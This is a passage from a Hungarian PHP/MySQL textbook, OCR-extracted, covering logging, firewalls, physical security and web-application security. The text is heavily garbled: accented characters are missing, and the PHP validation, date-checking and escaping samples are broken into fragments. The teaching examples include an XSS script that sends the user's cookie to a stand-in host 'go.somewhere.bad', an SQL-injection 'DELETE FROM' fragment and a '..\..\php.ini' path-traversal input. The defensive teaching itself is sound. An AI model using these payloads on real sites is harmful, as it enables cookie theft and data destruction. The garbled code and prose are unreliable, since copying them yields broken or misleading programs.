Opercis rendszernk kpes a klnfle esemnyek naplzsra. A biztonsgi szempontbl rdekes esemnyek kz a hlzati hibk, az egyes adatfjlokhoz, pldul a konfigurcis fjlokhoz vagy az NT-Registryhez val hozzfrsek tartoznak, s az olyan prograrnak meghvsa, mint pldul az su (amivel egy msik felhasznlv, pldul rendszergazdv vlharunk Unix rendszeren). A naplfjlok segitsgvel a megtrtntekor szlelhetjk a hibs vagy rosszindulat viselkedst. A problmk szrevtele utn ezek tjkoztatst is adhatnak arrl, hogyan trtnt a problma vagy a betrs. A naplfjlok esetben a kt legnagyobb nehzsg a mretk s a valsgtartalmuk. Ha a problmk szlelsre s naplzsra vonatkoz kritriumok meghatrozsakor tlzott biztonsgra treksznk, ered mnyl rendkivl nehezen kezelhet, hatalmas mret naplkat kapunk. A nagy naplfjlokkal csak gy boldogulhamnk, ha erre szolgl eszkzzel vagy a biztonsgi hzirendbl kidolgozott auditkdokkal ..rdekes" esemnyek utn kutamnk bennnk. Az auditlsi folyamatnak vagy vals idben vagy rendszeres idkznknt kell megtrtnnie. A naplfjlok klnsen nagy mrtkben ki vannak tve a tmads veszlynek. Ha a tmad rendszergazdai jogosultsgok
kal fr hozz rendszernkhz, a naplfjlokat szabadon mdostva eltntetheti a nyomait. A Unix lehetsget ad arra, hogy
kln gpen naplzzuk az esemnyeket. Ez azt jelenti, hogy a crackernek legalbb kt gpet fel kell trnie ahhoz, hogy eltn tesse nyomait. A Windows is knl hasonl funkcit, de nem olyan egyszeren, mint a Unix.
A rendszergazda is vgezhet rendszeres auditlst, de rdemes lehet kls auditlssal rendszeresen ellenrizni a rendszer
gazda munkjt.
242
15. fejezet
Tzfalak
A tzfalakat arra hasznljuk, hogy hlzarunkat elvlasszuk a klvilgtl. Ahogy az plet vagy az aut tzfala megakadlyoz za a tz tovaterjedst, a hlzati tzfalakkal megelzhet, hogy a baj hlzarunkban is elterjedjen. A tzfal clja, hogy a hlzarunkban lv szmtgpeket vdje a kls tmadstl. Szri s nem engedlyezi a szablyainak nem megfelel forgalmat. Emellett korltozza a tzfalon kvL Felhasznlk s gpek tevkenysgt. A tzfal esetenknt az azon belli szemlyek tevkenysgt is behatrolja. Kpes korltozni az emberek ltal hasznlt h lzati protokollokat, azon gpek krt, amelyekhez csadakozhatnak, illetve a svszlessg kltsgeinek leszortsa rdekben proxykszolgl hasznlatra knyszertheti ket. A tzfal lehet hardvereszkz, pldul szrszablyokat hasznl router (tvlaszt), vagy szmtgpen fut szoftver. Mindkt esetben kt hlzathoz kell kapcsoldnia, s szablyok alapjn kell mkdnie. A tzfal az egyik hlzatbl a msikba igyekv forgalmac figyeli. Ha megfelel a tzfal szablyainak, tvezeti a msik hlzatba, ha nem, meglltja vagy visszautastja. A csomagok szrhetk tpusuk, forrs- s clcmk vagy portinformci alapjn. Egyes csomagokat a tzfal egyszeren el vet; ms esemnyekre pedig megadhatjuk, hogy naplbejegyzseket vagy riasztsokat kezdemnyezzenek.
15
Fizikai biztonsg
Az eddig megvizsglt biztonsgi fenyegetsek olyan kzzel nem megfoghat dolgokra vonatkoztak, rnint a szoftver, de nem szabad megfeledkeznnk rendszernk fizikai biztonsgrl sem. Klimatizlsra van szksg, s vdekezni kell a tz, a (ktbal kezes vagy rosszindulat) emberek, az ramkimarads s a hlzati lellsok ellen.
243
Rendszernket biztonsgosan bezrt helyen kell tartani. Mkdsnk mrettl fggen ez lehet helyisg vagy szekrny. Csak azoknak az alkalmazottaknak szabad ehhez a gphez hozzfrnik, akiknek erre szksgk van. A jogosulatlan szem lyek szndkosan vagy vletlenl kihzhatnak kbeleket, vagy boot lemez segtsgvel megkisrelhetik megkerlni a biztonsgi mechanizmusokat. A sprinklerek (szrfejes, vzzel olt berendezsek) legalbb annyi krt tudnak tenni az elektronikban, mint a tz. Rgeb ben halont hasznl, gzzal olt rendszerekkel kezeltk ezt a problmt. A "Montreali jegyzknyv az zonrteget lebont anyagokrl" cm egyezmny ma mr tiltja a halon hasznlatr, gy az j tzvdelmi rendszereknek ms, kevsb kros alter narva utn kellett nznik. Kt szba jhet lehetsg az argon s a szn-dioxid. A rmrl bvebben is olvashatunk a http:/l www.epa.gov/Ozone/snap/ fire/qa.hrml oldalon. A vratlan, rvid ramkimaradsok legtbb helyen az let velejri. Rendkvli idjrs vagy fld feletti vezetkek esern a hosszabb kimaradsok is rendszeresek lehetnek. Ha rendszernk folyamatos mkdse fontos szmunkra, be kell ruhznunk sznermentes tpegysgbe
(UPS). Egyetlen gpet akr 60 percen keresztl tpllni kpes sznetmentes tpegysget mr 10
ezer forint krnykn beszerezhetnk. A hosszabb ramkimaradsokat kivlt vagy tbb gpet elltni kpes tpegysgek ennl azrt tbbe kerlnek. A hossz ramkimaradsokhoz genettorra van szksg, hogy a klimarizls s szmrgpeink is m kdni tudjanak. Az ramkimaradshoz hasonlan a nhny perces vagy rs hlzati kimaradsok is ellenrzsnkn kvl esnek. Ha h lzatunk mkdse igazn fontos szmunkra, rdemes lehet egynl tbb internetszolgltathoz kapcsoldni. A kr kapcsolat nyilvn tbbe kerl, de azt jelenti, hogy hlzari hiba ese rn alacsonyabb kapacitssal ugyan, de elrhetk maradunk. A fentiek miatt rdemes lehet megfontolni, hogy gpeinker bizonyos dj ellenben egy e clra kialaktott ltestmnyben helyezzk el (angolul co-locationnek is nevezik ezt a szolglratst). Ennek alapja, hogy egy kzepes mret vllalkozs szmra nem minden esetben gazdasgos egy hosszabb ideig ramelltst bizrosr sznermentes tpegysg, tbb redundns hlzati kapcsolat vagy tzvdelmi rendszer fenntartsa. Egy hasonl vllalkozsok szzainak szmtgpeit trol s zemelter lte stmny szmra azonban igen.
Hogyan tovbb
A 16. fejezetben rszletesebben foglalkozunk a webes alkalmazsok biztonsgva!. Megnzzk, kik az ellensgeink, s hogyan
vdjk meg magunkat tlk, hogyan vcljk szervereinket, hlzatainkat s kdunkat, s hogyan kszljnk fel a katasztrfkra.
15
16
Webes alkalmazsok biztonsga
A fejezeeben folyeaejuk az alkalmazsbiztonsg korbban megkezdett tmjt: teljes webes alkalmazsunk biztonsgoss t telnek krdseit fogjuk megtrgyalni. Webes alkalmazsaink minden egyes porcikjt vdeni kell a lehetsges visszalsektl (legyen azok vletlenek vagy szndkosak), s biztonsgukat elsegt stratgit kell kidolgoznunk az alkalmazsfejlesztshez. A fejezetben az albbi fbb tmakrkkel foglalkozunk: Biztonsgkezelsi stratgik A rnk vr fenyegetsek azonostsa Kikkel llunk szemben? Kdunk biztonsgoss ttele Webszervernk s a PHP biztonsgoss ttele Az adatbzisszerver biztonsga Hlzatunk vdelme Katasztrfa-elhrrsi terv ksztse
Biztonsgkezelsi stratgik
Az internet egyik legnagyszerbb jellemzje - az sszes gp egymssal szembeni nyitottsga s elrhetsge - egyben az egyik legnagyobb fejfjst is okozza a webes alkalmazsfejleszcknek. Az internechez csatlakoztatott rengeteg szmtgp hasznli kzte kevsb nemes szndkakat is tallunk. A rnk leselked veszlyek tudatban flelmetes lehet akr csak belegondolni abba, hogy a hitelkrtyaadatokhoz, a bankszmla-informcikhoz vagy az egszsggyi nyilvntartshoz hasonl bizalmas informcikat kezel webes alkalmazst a globlis hlzat szmra elrhetv tesszk. De az zlet nem llhat meg, s neknk, fejleszeknek nem elegend csupn alkalmazsunk e- kereskedelemmel kapcsolatos rszeit biztonsgoss tenni, hanem a biz tonsg megtervezshez s kezelshez szksges megkzeltst kell kialaktanunk. A lnyeg, hogy megfelel egyenslyt call junk a vdelem szksgessge s a tnyleges zletvitelhez elengedhetetlen, mkd alkalmazs ignye kztt.
246
16.fezet
Az egyik lehetsges mdszer, ha megkveteljk a felhasznlktl, hogy ngy, klnbz jelszt kr bejelentkez abla kon keresztl lpjenek be. Azt is megkvetelhegk tlk, hogy legalbb havonta egyszer mdostsk jelszavaikat, mgpedig gy, hogy korbban mr hasznlt jelszavakat nem vlaszthatnak. Ez jelentsen megnveln rendszernk biztonsgt, s a crackereknek sokkal tbb idbe kerlne, amg tkzdenk magukat a belpsi folyamaton, s bejutnnak a rendszerbe. Sajnos rendszernk annyira biztonsgos lenne, hogy senki sem venn a fradsgot, hogy hasznlja - elbb-utbb knytele nek lennnk beltni, hogy a szigorts egyszeren nem rte el cljt. Ez a plda is jl mutatja, hogy br fontos trdni a bizton sggal, legalbb ugyanennyire rdemes foglalkoznunk a biztonsgnak a hasznlhatsgra gyakorolt harsval. Egy egyszeren hasznlhat, alacsony biztonsgi szint rendszer vonz lehet a felhasznlk szmra, m nagyobb valsznsggel szmtha tunk ebbl add biztonsgi problmkra s zleti lellsokra. Ugyangy egy rendkvl robusztus biztonsgi jellemzkkel br s ebbl kvetkezen szinte hasznlharadan rendszer kevs felhasznl szmra lesz elfogadhat, ami szintn negatv kvet kezmnyekkel jr zlermenernkre. Webes alkalmazsok fejlesztiknt olyan mdszereket kell tallnunk, amelyek a rendszer hasznlhatsgt nem arnytala nul megneheztve fokozzk a biztonsgt. Mint ltalban a kezelfellet esetn, itt sincsenek kbe vsett s rninden helyzetre megfelel szablyok, sokkal inkbb sajt tletnkre, hasznlhatsgi resztekre s fkuszcsoportokra tmaszkodva llapthaguk meg, hogy miknt fogadjk a felhasznlk a tervezett megoldsokat.
Biztonsgi felgyelet
Webes alkalmazsunk fejlesztsnek s zembe helyezsnek befejezse urn sem rtnk feladaraink vgre. A biztonsg r szr kpezi a rendszer mkds alatti felgyelete, a naplk s egyb fjlok figyelemmel kvetse, hogy lssuk, hogyan mkdik rendszernk, s hogyan hasznljk. Csak a mkdst kzelrl felgyelve (vagy ezt a feladatot helyetrnk ellt eszkzket megrva s futtatva) azonostharjuk a folyamaros biztonsgi problmkat, illetve hatrozhaguk meg azokat a terlereket, ahol biztonsgosabb megoldsok kifejlesztsre van szksg. A biztonsg, sajnos, folyamaros harc s - bizonyos rrelemben - olyan csata, amir soha nem lehet megnyerni. lland bersg, rendszernk fejlesztse s gyors vlaszlps a problmkra - ez az az r, amir egy zkkenmentesen mkd webes alkalmazsrt fizetni kell.
Alapvet megkzeltsnk
Hogy az sszer erfesztssel s idrfordtssal elrhet legteljesebb biztonsgi megoldst kapjuk, krflekppen kell a biz tonsghoz kzelreni.Az egyik megkzelts az eddig tbeszltekre pl: Hogyan kszljnk fel alkalmazsunk biztonsgoss ttelre, s milyen, a biztonsg megrzst elsegt funkcikar tervezznk bele Ha mindenkppen nevet szeretnnk adni neki, akkor fellrliifele halad Ugyanilyen logikval biztonsgi megkzelrsnk msik g r
megkzeltsnek (top-down) nevezhernnk ezt. lentrl felfel halad megkzeltsnek (bortom-up) hvhatnnk.
Ebben alkalmazsunk klnbz alkotelemeir, pldul az adatbzisszervert, a szervert magr s a hlzator vizsgljuk meg. Meggyzdnk arrl, hogy nem csak az ezekkel az alkotelemekkel val kapcsolatfelvteleink biztonsgosak, hanem telepr sk s konfigurls uk is. Sok termk olyan bellrsokkal telepl fel, amelyek vdtelenl hagynak bennnker a tmadsokkal szemben, ezrt fontos risztban lenni vele, hogy melyek ezek a lyukak, s hogyan tmhetjk be ket.
16
(Az e-kereskedelem biztonsgi krdsei) szmos, online zleti alkalmazsainkat clz biztonsgi fenyegetst
megismerhettnic Ebben a fejezetben ezek kzl nhnyra fogjuk figyelmnket sszpontostani, s megnzzk, miben kell fejlesztsi gyakorlatunkat megvltozratni, ha kezelni kivnjuk az ilyen fenyegetseket.
247
Akr csak egy neveket s lakcmeket tartalmaz tbla nyilvnoss ttele is a biztonsgi szablyok slyos megszegst jelenti. Az gyfelek nagyra rtkelik szemlyes adataik vdelmr. A nevket s lakcmket tartalmaz lista valamilyen tovbbi infor mcival lciegszrve (.,mind a tzezer ember szakott online dohnyboltban vsrolni") potencilisan rtkesthet rucikket jelent a jtkszablyokat be nem tart marketinges cgek szmra. Az adatainkhoz val egyszer hozzfrsnl is sokkal rosszabb, ha valaici mdot tall manipullsukra. Egy boldog banici gyfl hirtelen nhny ezer dollrral tbbet tall szmljn; vagy egy gyfl szlltsi cmnek mdostsa is boldogg tehet valakit (vlheten azt, aici megvltoztatta az adatokat, s nagy rmmel veszi t a valaici msnak kldend csomagot).
Rosszindulat kd befecskendezse
Az interneten keresztl igen hatkony a rosszindulat kd befecskendezsnek (malicious code injecrion) nevezhet tmadst
pus. Ezen bell a leghresebb a Cross Site Scripting tmads. Szoks XSS-nek is nevezni, hogy ne keverjk ssze a CSS-knt rvidtett egymsba gyazott stluslapokkal (Cascading Scyle Sheets). Ami igazn aggaszt ezekkel a tmadsokkal kapcso latban, hogy nem keletkezik nyilvnval vagy azonnali adarveszts, hanem jellemzerr szrevtlenl lefut valamilyen kd, ami klnbz mrtk adarvesztst vagy a felhasznlk tirnytst eredmnyezi. A Cross Site Scripting alapveterr a kvetkezkppen mkdik:
l. A rosszindulat felhasznl egy rlapba, amely a belvitt adatokat msok szmra megjelenti (pldul megjegyzs vagy
16
zenet bevitelre szolgl rlapba) nem csak az zenetet rja be, hanem a kliensen lefut kdot is, pldul:
<script>="text/javascript"> this.document
=
"go.somewhere.bad?cookie="
this.cookie;
</script>="text/javascript">
2. A rosszindulat felhasznl elkldi az rlapot, s vr. 3. A rendszer kvetkez felhasznlja, aici elltogat a rosszindulat felhasznl ltal bevitt szveget tartalmaz oldalra, le
futtatja a bevitt szkript kdjt. Egyszer pldnk tirnytja a felhasznlt (s nmi cookie informcit) az eredeti oldalrl. Br ez csak egy rendkivl egyszer plda, kliensoldali programozssal sok minden elrhet, az ilyen tmads ltal icinlc lehetsgek pedig szmunkra igen rmisztek lehetnek.
248
16.fezet
Feltrt szerver
Ugyan egy feltrt kiszolgl a korbban sorolt fenyegetsekkel rszben megegyez veszlyforrsokat rejt, mgis rdemes meg emlteni, hogy a tmadk clja egyes esetekben az, hogy hozzfrst szerezzenek rendszernkhz, s lehetleg rendszergazdai jogosultsgokkal rendelkezzenek ekzben. Ha ez megvan, szinte teljhatalmat kapnak a feltrt szmtgp felett, brmilyen programot futtathatnak, lellthatjk a gpet, vagy olyan szaftvereket telepthetnek, amelyek munkjt nem igazn fogjuk rt kelni. Nagyon nagy bersgre van szksg az ilyen tpus tmadsok ellen, mert a kiszolgl feltrse utn a tmadk egyik els lpse nyomaik s a bizonytkek eltntetse lesz.
Crackerek
A legnyilvnvalbb s legismertebb csoportot crackereknek nevezzk.Szndkosan megklnbztetjk ket a hackerektl,
mert nem szeretnnk megsrteni az igazi hackereket, akik nagy rsze teljesen risztessges s j szndk programoz. A k lnbz motivcij crackerek megprblnak gyengesgeket tallni, s ezeken tjutva elrni cljaikat. Vezetheti ket mohsg. ha pldul egy versenytrsunk fizeti ket azrt, hogy informcikat szerezzenek rendszernkrl, de lehetnek egyszeren tehet sges emberek, akik a ms rendszerekbe val betrs izgaimt keresik.Ugyan komoly fenyegetst jelentenek szmunkra, hiba lenne minden erfesztsnket rjuk pazarolni.
tonsgi hibk miatt a szmtgpek riasztan magas arnya fertztt rnindenfle feladatot vgrehajt programokkal. Knnyen elfordulhat, hogy bels cges hlzatunk egyes felhasznlinak a gpn ilyen programok futnak, s azok gy tudjk tmadni kiszolglnkat, hogy rni abbl mit sem sej tnk.
Elgedetlen alkalmazottak
A kvetkez csoportot, amelytl szintn okunk lehet tartani, sajt alkalmazottaink alkotjk. Ezek az alkalmazottak valarnilyen
okbl hajlamosak lehetnek krt okozni annak a cgnek, amelynek dolgoznak. Brmi is legyen a motivcijuk, megprblhatnak amatr hackerr vlni, vagy olyan eszkzket szerezhernek be kls forrsbl, amelyekkel a vllalari hlzaton bellrl tmad hatjk a szervereket. Ha megvdjk magunkat a klvilg tmadsaitl, de bellrl vdtelenek maradunk, nem lesznk bizton sgban. Kellen nyoms rv ez az gynevezett demilitarizlt zna (DMZ) megvalstsra, arnivel a fejezet ksbbi rszben
16
foglalkozunk majd.
Hardvertolvajok
Gyakran figyelmen kvl hagyott biztonsgi fenyegets, ami ellen sokan egyszeren elfelejtenek vdekezni: valaki lazn bestl a szerverszobba, kihzza valamelyik berendezs kbeleit, s hna alatt az eszkzzel kistl az pletbL Meglepdnnk, ha tudnnk, hogy sok irodapletbe milyen egyszeren be lehet jutni, s ott a gyan legcseklyebb rnyka nlkl stlgatni. Ha valaki a megfelel idpontban a megfelel szobba tr be, knnyen egy vadonatj szerver boldog tulajdonosv vlhat - s r adsknt a bizalmas adarokkal teli merevlemezt is megnyerte.
Sajt magunk
Kellemetlen lehet elismerni, de rendszereink biztonsgt illeten mi magunk s az ltalunk rt kd az, ami az egyik legnagyobb fejfjst okozhatja. Ha nem fordrunk kell figyelmet a biztonsgra, ha hanyag mdon rjuk meg a kdot, s nem kell alapos sggal vgezzk rendszernk biztonsgi tesztelst s ellenrzst, akkor segit kezet nyjtunk a rendszernket feltrni kv n, rosszindulat felhasznlknak.
249
Ha mr csinlunk valamit,csinljuk jl! Az internet klnsen nem megbocst a gondatlansgra vagy lustasgra hajlamos szemlyekkel szemben. A legnehezebb az,amikor fnknket vagy a vllalkozsi djunkat elfogad vezett kell meggyzni ar rl, hogy a tbbletkiads vagy tbbletid-rfordts bven megtrl majd. Ha nhny perces eladst tartunk nekik a biztons
hogy rdemes a biztonsgra kicsivel tbbet sznni egy olyan vilgban,ahol minden a hrnvrl szl.
t a bizronsguk. Els lpsknt azokat a dolgokat vizsgljuk meg, amelyek segthecnek megrizni kdunk biztonsgt. Ugyan
knyvnkben nincs mdunk arra, hogy bemutassuk, mi mindent tehernk az sszes lehetsges biztonsgi fenyegers elhrtsa rdekben (szmtalan ktetnyi irodalmat rtak mr e tmban),ltalnos irnymutatst prblunk nyjtani,hogy a megfelel irnyba induljunk el. A PHP egyes,a ksbbi fejezetekben hasznland mdszereivel kapcsolatos biztonsgi agglyokra akkor s ott fogjuk felhvni a figyelmet, amikor bemutatjuk e mdszereket.
minden, Jelhasz
16
Ez az rlap a 16.1 brn lthat mdon nz ki. Ennek birtokban felttelezhetnnk,hogy amikor csak lekrdezzk az urlap_elkuldese.phpfjlban a$_POST['nerne') nagyor rvednnk. rtkt,a 'Ferfi', 'No' vagy 'Egyeb' valamelyikt kapjuk-s
250
16. fejezer
Ahogy korbban mr emltettk, az interner a HTTP, egy egyszer szvegprorokoll hasznlatval mkdik. Az elz rlap szveges zenetknt, az albbihoz hasonl szerkezerben jutna el kiszolglnkhoz:
POST /neme.php HTTP/1.1 Host: www.yourhostname.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:l.9.0.1)
Azt azonban semmi nem akadlyozza meg. hogy valaki kapcsoldjon webszervernkhz, s brmilyen rtket kldjn ne knk az rlaphoz. gy ez a valaki a kvetkezket is elkldheti neknk:
POST /neme.php HTTP/1.1 Host: www.yourhostname.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.1)
"
knnyen zavarba hozharnnk sajt magunkat. Sokkal jobban jrunk, ha tnylegesen meggyzdnk arrl, hogy a bejv rtk a vrt/megengedett rtkek valamelyike, pldul gy:
<?php switch ($_POST['neme'])
case 'Ferfi' :
16
default:
break;
?>
251
Kicsivel hosszabb ugyan ez a kd, de legalbb biztosak lehetnk benne, hogy helyes rtkeket kapunk, s ez igen fontos lehet, amikor a felhasznl nemnl bizalmasabb adarokkal kezdnk dolgozni. ltalnos szablyknt elmondhat, hogy soha nem elg felttelezni, hogy egy rlapbl szrmaz rtk az ort megadort rtkek valamelyike lesz - minden esetben ellenrizni is kell ezt.
0)
"HIBA:
Ha azt szeretnnk, hogy a felhasznl az adott orszgban szoksos formtumban adja meg a dtumot, ami pldul egyeslt llamokbeli felhasznJk es ern mm/dd!yy, azaz hh/ nn/ , akkor a checkdate nev PHP fggvny segtsgvel rhatunk olyan kdot, ami ellenrzi a dtum valdisgt. Ez a fggvny hnap, nap s v rtket fogad (az v ngy szmjeggyel rva), s arrl tjkoztat, hogy ezek az rtkek egytt rvnyes dtumot adnak-e ki:
'/');
!= 3)
{
echo exit;
"HIBA:
mint a 02 vagy 95
100)
if ((int)$mmddyy[2] > 50) $mmddyy[2] = (int)$mmddyy[2] else if ((int)$mmddyy[2] >= 0) $mmddyy[2] = (int)$mmddyy[2]
+ +
1900; 2000;
16
{
echo exit;
"HIBA:
Ha idt sznunk a bevirt adatok szrsre s rvnyestsre, nem csak az els lpsknt vgrehajtand, termszetes hibake resst knnytjk meg (pldul annak megllaptst, hogy egy repljegynl az indulsi dtum rvnyes dtumformtum-e), hanem egyrral rendszernk biztonsgt is nvelj k.
252
16. fejezet
komoly problmt okozhat szmunkra. Ktflekppen elzhetjk meg az ilyen tpus biztonsgi incidenseker: Az SQL-en keresztl az adatbzisszervereknek kldtt sszes karakterlncot szrjk s lssuk el vdkarakterekkel! A mysql_escape_string, a mysqli:: real_escape_string vagy amysqli_real_escape_string fgg vnyt hasznlhatjuk erre a clra. Gyzdjnk meg arrl,hogy minden input megfelel annak, amit vrunk! Ha a felhasznli nevek legfeljebb 50 karakter hosszak lehetnek, s csak betkbl s szmokbl llhatnak,akkor biztosak lehetnk abban, hogy a nv vgn lev
DELETE FROM felhasznalok"
"
nem megengedett. Ha olyan PHP kdot runk, ami mr azt megelzen megbi
zonyosodik afell, hogy az input a lehetsges rtkeket veszi fel, mieltt az adatbzisszervernek elkldenk azt, sokkal tartalmasabb hibazenetet rhatunk ki,mint amilyet az adarbzis adna (ha az egyltaln ellenrizne ilyen dolgokat). s nem mellesleg a kockzatunkat is mrskeljk. A mysqli kiterjeszts azltal fokozza a biztonsgot,hogy egyeden lekrdezst enged lefuttam i a mysqli_ query vagy a mysqli::query metdussal. Tbb lekrdezs vgreh:Ytshoz a mysqli_multi_query vagy a mysqli: : multi_
query
metdust kell hasznlnunk,gy elkerlhetjk tovbbi, potencilisan kros utastsok vagy lekrdezsek futtatst .
>
ralom kimenetnek karakterlncba bevinni (mivel a bngsz alaprtelmezsben azt gondolja, hogy ezek jellelemekre utal
16
nak). Ehhez az < s > entity-t kell hasznlnunk. Ugyangy, ha s karaktert szecetnnk rakni a HTML-be, az & entity-re van szksgnk. Az egyszeres s dupla idzjelet a  9;, illetve a " (bngsz) konvertlja kimenett, gy azok nem tekinthetk a jell rsznek. A htmlspecialchars s a htmlentities fggvny kztt a kvetkez a klnbsg: az elbbi alaprtelmezsben csak az &,
<
>
A htmle ntities viszont minden entiry-vel jelkpezhet karaktert lecserl. Ilyen entity tbbek kzte a szerzi jog szimb luma, a ,amit a © jelkpez, vagy az € ltal jelkpezett eur szimblum. A fggvny azonban nem konverrlja a karaktereket numerikus entiry-kk. Mindkt fggvny msodik paramtere hatrozza meg, hogy az egyszeres s dupla idzjelek entiry-kk legyenek-e alakt va, illetve harmadik paramterle hatrozza meg a karakterkszletet,amelybe a bemeneti karakterlnc kdolva lesz. (Ez igen fontos szmunkra, mert azt szerernnk, hogy a fggvny megbzhatan mkdjn UTF-8 karakrerlncainkon.) A msodik paramter lehetsges rtkei a kvetkezk:
ENT_COMPAT ENT_QUOTES
-A dupla idzjeleket &quo t; -ra alaktja t,de az egyszereseket rintetlenl hagyja. -Az egyszeres s a dupla idzjeleket is talaktja  9; -re,illetve &quo t; -ra. (az alaprtelmezett rtk )- A fggvny ekkor sem az egyszeres, sem a dupla idzjeleket nem
ENT_NOQUOTES
alaktja t.
253
Ha vgigfuttatnnk a kvetkez PHP kdon (az nl2br fggvnyt azrt futtatjuk a kimeneti karakterlncon, hogy a bn gszben szpen formzott legyen):
<?php Sstr = htmlspecialchars($bemenetl_sztring, echo nl2br($str); Sstr = htmlentities(Sbemeneti_sztring, echo nl2br($str); ENT_QUOTES, "UTF-8"); ENT_NOQUOTES, "UTF-8");
?>
<script type="text/javascript">
Figyeljk meg, hogy a htmlentities fggvny entiry-re ( € ) cserlre az eur szimblumt ( ), ng nem nylt hozz! Olyan esetekben, amikor meg kvnjuk engedni a felhasznlknak bizonyos HTML hasznlatt - pldul zenfalon, ahol a felhasznlk szvesen veszik, ha karakterek segitsgvel szablyozhatjk a bettpusr, -sznt s -stlust (flkvr vagy dlt) -, akkurtusan vgig kell nznnk a karakterlncokat, hogy azonostsuk s ne szrjk ki ezeket.
htmlspecialchars
16
Kdjaink szervezse
Egyes vlemnyek szerint a felhasznlk ltal az internetrl kzvetlenl nem elrhet fjlokat nem szabad a weboldal gykr knyvrrba helyezni. Ha pldul zenfalas honlapunk gykrknyvtra a /home/httpd/messageboard/www, a beillesztett fjlokat, illetve az oldalhoz rt brmely egyb fjlt mondjuk a /home/httpd/messageboard/code knyvrrba kell raknunk. Ha kdunkba szerernnk beilleszteni ezeket a fjlokat, a kvetkezket kellene rnunk:
require_once(' .. /code/felhasznaloi_objektum.php);
Az ilyen fok elvigyzatossg alapja az az eset, amikor egy rosszindulat felhasznl nem . php vagy .html fjira ir nyul krst intz. Sok webszerver alaprtelmezsben a kimeneti adatfolyamba rja az ilyen fjl tartalmr. gy, ha valahol a nyil vnos gykrknyvtrban trolnnk a felhasznaloi_objektum. php fjlt, s a felhasznl ezt a fjlt krn, kdunk reljes
254
16. fejezet
tartalma megjelenne a bngszben. Ekkor ez a felhasznl ltham, hogyan programoztuk az alkalmazst, s hozzfrne az esetlegesen a fjlban lv szellemi tulajdonunkhoz, illetve olyan biztonsgi hibt (exploit) tallhat, arnirl megfeledkeztnk. Ezt elkerlend gy kell webszervernket konfigurlni, hogy csak a . php s . html fjlok krst engedlyezze, a ms tpus fjlokra vonatkoz krseket pedig a kiszolgl hibazenettel utastsa el. Ugyangy rdemes minden ms fjlt, pldul a jelszfjlokat, a szveges fjlokat, a konfigurcis fjlokat vagy a klnleges knyvtrakat a nyilvnos gykrknyvtrtl tvol tartani. Mg ha azt is gondoljuk, hogy megfelelen kenfigurltuk webszervernket, elfordulhat, hogy megfeledkeztnk valamirl. Vagy, ha ksbb msik, nem megfelelen kenfigurit szerver re helyezzk t alkalmazsunkat, biztonsgi kockzamak lehetnk kitve. Amennyiben az allow_url_ fopen belltst bekapcsoljuk a php.ini fjlban, akkor elmletileg tvoli szerverekrl is be illeszthetnk vagy lekrhetnk fjlokat. Ez jabb biztonsgi hibaforrst jelent alkalmazsunk szmra, s jobban tennnk, ha vakednnk ms gpekrl szrmaz fjlok beillesztstL Klnsen olyan fjlok esetben, amelyek nem teljes mrtkben az irnytsunk alatt ll gpekrl szrmaznak. Hasonlkppen kerlend az is, hogy felhasznl ltal bevitt adatokat hasznl junk a beillesztend vagy lekrend fjlok kivlasztsra, mert a rossz input itt is problmkhoz vezethet.
Mi kerl a kdunkba?
Az eddig ltott, az adatbzisok elrsre szolgl kdrszletek egyszer szvegknt tartalmaztk az adatbzis nevt, a felhasz
Ez knyelmes ugyan, m kevsb biztonsgos, mert ha a crackerek rceszik a kezket a . php fjlunkra, a bob nev felhasz nl jogosultsgaival egybl hozzfrnek adatbzis unkhoz. Clszerbb a felhasznli nevet s jelszt olyan fjlba tenni, amely nem a webes alkalmazs gykrknyvtrban helyezkedik el, majd kdunkba beilleszteni azt, pldul gy:
<?php
ll ez az adatbazishoz kapcsolodas.php $adatbazis szerver = 'localhost'; $adatbazis_felhasznaloi_nev = 'bob'; $adatbazis_jelszo = 'titok'; $adatbazis_neve = 'adatbazis';
?>
<?php
$ adatbazis felhasznaloi_nev,
$ adatbazis
16
?>
jelszo, ll stb.
$ adatbazis_neve);
Javasolt ugyangy eljrni ms, hasonlan rzkeny adatokkal is, amelyekrl gy gondoljuk, hogy mg egy vdelmi rtegre rdemesek.
255
Ezen tlmenen akkor is rendkvl vatosan kell eljrnunk, ha megengedjk a felhasznlknak, hogy berjk az ltaluk ltni kvnt fjl nevt. Ha gykrknyvtrunkban
Apache 2. 2. htdocs\)
(c: \Program
Files\Apache
Software
Foundation\
egy olyan fjlokkal teli knyvtr helyezkedik el, amelyhez hozzfrst adunk a felhasznlknak, s k
bevihetik a megtekinteni kvnt fjl nevt, akkor komoly problmink addhatnak, amennyiben a
.. \ . . \..\php\php.ini
fjlt szeretnk megnzni. Ezzel lehetv vlik szmukra, hogy megismerjk PHP-teleptsnket, s megnzzk, vannak-e olyan nyilvnval gyenge sgek, amiket kihasznlhatnnak. Ezt a problmt is knnyen orvosolhaguk: ha elfogadunk felhasznli bevitelt, szigoran szrnnk kell, hogy elkerlhessk az ilyen jelleg gondokat. Az elz pldban a ..\ elfordulsainak eltvoltsa minden bizonnyal segtene megelzni az ilyen problmt, mint ahogy az is, ha az olyan abszolt elrsi tvonalakat is kiszrjk, mint pldul a c: \mysql\my. ini .
A kd stabilitsa s kdhibk
Ahogy korbban mr utalrunk r, kdunk megfelel tesztelse s ellenrzse nlkl, illetve ha a kd annyira bonyolult, hogy tele van hibkkal, webes alkalmazsunk nagy valsznsggel nem fog megfelelen mkdni, vagy nem lesz kellen biztons gos. rdemes beismerni, hogy mi, programozk s az ltalunk rt kd egyarnt esend. Kpzeljk el, hogy valaki megnyit egy weboldalt, ber egy szt a keressi prbeszdabiakba (pldul azt, hogy difenesztrci), rkattint a"Keress" gombra, majd valami ilyesmit lt megjelenni:
;Oll! Ennek soha nem lett volna szabad megtrtnnie. BUG BUG BUG! 1!!
